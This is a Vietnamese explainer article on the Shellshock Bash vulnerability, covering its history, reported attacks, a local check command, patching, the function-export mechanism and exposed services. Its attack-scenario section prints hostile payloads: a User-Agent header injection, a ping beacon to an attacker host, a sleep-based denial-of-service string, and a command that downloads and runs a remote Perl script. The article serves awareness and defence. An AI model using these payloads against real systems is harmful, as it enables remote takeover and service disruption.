Tìm hiểu về lỗ hổng bảo mật nghiêm trọng Shellshock

Bài viết nhằm giới thiệu tới bạn đọc về lỗ hổng bảo mật nghiêm trọng Shellshock đã tồn tại rất lâu trong Bash, một chương trình phổ biến trên các hệ điệu hành tựa Unix dùng để thực thi lệnh. Kẻ xấu có thể sử dụng lỗi bảo mật này của Bash để thực hiện những mục đích đen tối trên các máy nạn nhân.

I/ Shellshock là gì?

Shellshock, còn được gọi là Bashdoor, là một lỗ hổng bảo mật trong Bash, được công bố rộng rãi vào ngày 25 tháng 9 năm 2014. Nhiều dịch vụ mạng, như các máy chủ web, sử dụng Bash để thực thi lệnh khi cần thiết, cho phép kẻ tấn công khai thác lỗ hổng bảo mật Shellshock ở những phiên bản Bash lỗi để phục vụ những mục đích đen tối của chúng. Lỗ hổng bảo mật này giúp kẻ tấn công chiếm quyền điểu khiển các máy nạn nhân mà không cần phải qua bước xác thực.

II/ Shellshock nguy hiểm tới mức nào?

Dưới đây là các báo cáo về tình trạng tấn công sử dụng lỗi Shellshock của các tổ chức an ninh mạng.

Trong vòng một giờ kể từ khi lỗ hổng bảo mật Bash được thông báo, có rất nhiều máy tính đã bị tấn công bằng lỗi Shellshock. Ngày 25 tháng 9 năm 2014, các máy tính ma (botnets) bị kiểm soát dựa trên lỗi Shellshock được các attacker sử dụng để thực hiện các tấn công DDoS và dò tìm các lỗ hổng bảo mật khác trên các máy nạn nhân. Kaspersky Labs báo cáo rằng nhiều máy tính bị kiểm soát bởi tấn công Shellshock, được gọi là “Thanks-Rob”, đã thực hiện tấn công DDoS tới 3 mục tiêu chưa được xác định. Vào ngày 26 tháng 9 năm 2014, một mạng máy tính ma có liên quan đến Shellshock được gọi là “wopbot” đã được báo cáo, nó được sử dụng để tấn công DDoS tới Akamai Technologies và thực hiện dò tìm các lỗ hổng bảo mật nhằm vào bộ Quốc phòng Mỹ.

Ngày 26 tháng 9, công ty bảo mật Incapsula đưa ra báo cáo có 17.400 tấn công vào hơn 1.800 trang web, khởi nguồn từ 400 địa chỉ IP, trong 24 giờ trước đó; 55% tấn công đến từ Trung Quốc và Mỹ. Ngày 30 tháng 9, công ty CloudFlare công bố rằng có khoảng 1,5 triệu tấn công và thăm dò mỗi ngày liên quan đến lỗi Shellshock.

Ngày mùng 6 tháng 10, các máy chủ Yahoo được báo cáo là đã bị kiểm soát bởi một tấn công liên quan đến lỗi Shellshock.

III/ Máy tôi có bị dính lỗi Shellshock không?

Để kiểm tra máy bạn có bị lỗi Shellshock hay không thì bạn có thể sử dụng đoạn mã như sau:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Nếu kết quả trả về là:

vulnerable  
this is a test  

IV/ Tôi phải làm gì để sửa lỗi Shellshock?

Để sửa lỗi Shellshock bạn chỉ cần update Bash lên phiên bản mới nhất. Sau khi update thì bạn nên kiểm tra lại xem lỗi đã được sửa chưa theo như cách làm ở trên để chắc chắn rằng phiên bản Bash không còn chứa lỗi Shellshock nữa.

V/ Tìm hiểu sâu về Shellshock

Phần này dành cho những người muốn tìm hiểu sâu về cơ chế hoạt động của Shellshock và các kiểu tấn công sử dụng Shellshock.

1. Cơ chế hoạt động của Shellshock

Trên các hệ điều hành tựa Unix và một số hệ điều hành khác sử dụng Bash để chạy các chương trình bằng dòng lệnh, mỗi chương trình khi chạy sẽ có một danh sách các cặp name/value được gọi là các biến môi trường. Khi một chương trình khởi chạy một chương trình khác nó sẽ cung cấp một danh sách khởi tạo các biến môi trường cho chương trình mới này. Mặt khác, Bash lưu giữ một danh sách các hàm chứa một tập các lệnh mà sẽ được thực thi cùng với chương trình. Vì Bash hoạt động như là một trình thông dịch lệnh và vừa được coi như là một lệnh, nên có thể chạy Bash từ chính môi trường của nó. Khi điều này xảy ra, thực thể ban đầu có thể export các biến môi trường và các định nghĩa hàm thành các thực thể mới. Các định nghĩa hàm được export bằng cách mã hóa chúng cùng với các biến môi trường có giá trị bắt đầu bằng () theo sau là định nghĩa hàm. Thực thể mới của Bash, khi chạy, sẽ tìm các biến môi trường có giá trị theo định dạng này và chuyển chúng thành các hàm. Nó thực hiện việc chuyển đổi bằng cách tạo ra một đoạn mã từ giá trị của biến môi trường và thực thi nó, vấn đề ở chỗ các phiên bản Bash lỗi không kiểm tra tính hợp lệ của một định nghĩa hàm do đó một lỗ hổng bảo mật sẽ được tạo ra theo cách này.

Từ đây ta có thể giải thích cách hoạt động cho đoạn mã sau:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Nó tạo ra một biến môi trường bắt đầu với chuỗi () { :; }, tạo ra một định nghĩa hàm rỗng; theo sau là lệnh sẽ được thực thi khi biến môi trường này được export. Lệnh Bash được chạy sau đó sẽ thực hiện việc export biến môi trường này và lệnh echo sẽ được thực thi cùng với nó.

2. Các cách tấn công vào một server chứa lỗi Shellshock

Việc tấn công vào Shellshock là hết sức đơn giản, đơn giản tới mức một user bình thường không cần nhiều kiến thức về IT cũng có thể thực hiện một tấn công Shellshock được. Để thực hiện tấn công Shellshock bạn chỉ cần sử dụng lệnh có dạng như sau:

$ curl -H "User-Agent: () { :; }; /bin/echo vulnerable" http://example.com/

Tấn công trên sử dụng User-Agent header của request gửi đến web server example.com để server đó thực hiện chạy lệnh $ echo vulnerable.
Tại sao có thể thực hiện được một tấn công đơn giản như thế? ngoài việc tấn công vào web server ra còn có thể tấn công được vào các dịch vụ mạng nào nữa? Dưới đây là giải thích cho cách hoạt động của tấn công trên và nêu ra một số dịch vụ cũng bị ảnh hưởng bởi lỗi Shellshock:

CGI-based web server

Khi một web server sử dụng CGI để xử lý một request, nó truyền các thông tin có trong request tới chương trình xử lý sử dụng các biến môi trường. Ví dụ, biến HTTP_USER_AGENT thông thường chứa tên chương trình gửi request đến web server. Nếu trình xử lý request là một Bash script, hoặc nếu nó thực thi một lệnh nào đó ví dụ như việc sử dụng system call, Bash sẽ nhận vào các biến môi trường được truyền vào bởi server và xử lý chúng. Kẻ tấn công sử dụng phương thức này để kích hoạt tấn công Shellshock với một request đặc biệt tới server.

SSH server

OpenSSH có một tính năng là ForceCommand, thực hiện một lệnh nào đó khi user đăng nhập vào, thay vì chạy shell để user tương tác với hệ thống. Lệnh được thực hiện ngay cả khi user chỉ định rằng nên chạy một lệnh khác; trong trường hợp đó, lệnh ban đầu được đưa vào biến môi trường SSH_ORIGINAL_COMMAND. Khi chạy lệnh, Bash sẽ phân tích biến môi trường SSH_ORIGINAL_COMMAND ngay khi khởi động, và chạy các lệnh được nhúng vào trong đó. Kẻ tấn công sử dụng phương thức này của SSH server để chiếm quyền điều khiên của máy nạn nhân có chứa lỗi Shellshock.

DHCP

Một vài DHCP client có thể truyền các lệnh cho Bash; hệ thống chứa lỗi bảo mật có thể bị tấn công khi kết nối tới một mạng Wi-Fi công cộng. Một DHCP client thường yêu cầu xin cấp một địa chỉ IP từ một DHCP server, nhưng nó cũng có thể được cung cấp một chuỗi các tùy chọn thêm. Một DHCP server có thể cung cấp, trong một trong những tùy chọn, một chuỗi kí tự đặc biệt để khai thác lỗi bảo mật Shellshock.

Email system

Tùy thuộc vào cấu hình hệ thống xác định, một gmail mail server có thể truyền tham số đầu vào từ bên ngoài vào Bash theo cách có thể khai thác được lỗi bảo mật Shellshock.

3. Các kịch bản tấn công

Để thực hiện các tấn công Shellshock thì trước tiên kẻ tấn công phải xác định các máy mục tiêu và xác định xem các máy đó có dính lỗi bảo mật Shellshock hay không. Sau đây là một số tấn công sử dụng lỗi Shellshock.

Thăm dò

Kẻ tấn công sẽ sử dụng một đoạn mã theo dạng

() {:;}; /bin/ping -c 1 -p cb18cb3f7bca4441a595fcc1e240deb0 attacker-machine.com

trong một request tới máy mục tiêu. Nếu máy mục tiêu dính lỗi bảo mật Shellshock nó sẽ gửi 1 ping request với nội dung xác định trên tới máy đã bị kiểm soát bởi kẻ tấn công. Kẻ tấn công sau đó sẽ phân tích gói tin ping request để xác định mục tiêu nào có lỗi Shellshock.

Từ chối dịch vụ

Tấn công này có thể sử dụng một đoạn mã như sau:

() { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep 20

để server chạy lệnh sleep theo 3 cách khác nhau (do cấu hình của các hệ điều hành khác nhau), server sẽ đợi 20 giây sau mới phản hồi lại cho client, việc này sẽ làm tiêu tốn tài nguyên của server do connection bị chiếm giữ trong một thời gian dài, gây lãng phí bộ nhớ.

Chiếm quyền điều khiển

Mục tiêu của kẻ tấn công là chiếm quyền điều khiển trên máy nạn nhân để thực hiện các mục đích khác nhau. Đoạn mã tấn công sẽ có dạng:

() { :;}; /bin/bash -c \"cd /tmp;wget http://213.x.x.x/ji;curl -O /tmp/ji http://213.x.x.x/ji ; perl /tmp/ji;rm -rf /tmp/ji\"

để máy mục tiêu thực hiện download đoạn mã perl và thực thi đoạn mã đó. Đoạn chương trình này cho phép kẻ tấn công thực hiện truy cập từ xa tới máy nạn nhân.

PS: bạn hãy thực hiện vá lỗi cho các hệ thống mà mình quản lý ngay hôm nay vì tính đặc biệt nghiêm trọng của lỗi này.

Tài liệu tham khảo

en.wikipedia.org/wiki/Shellshocksoftwarebug
blog.cloudflare.com/inside-shellshock
www.theverge.com/2014/10/1/6882189/one-week-later-how-much-damage-did-shellshock-cause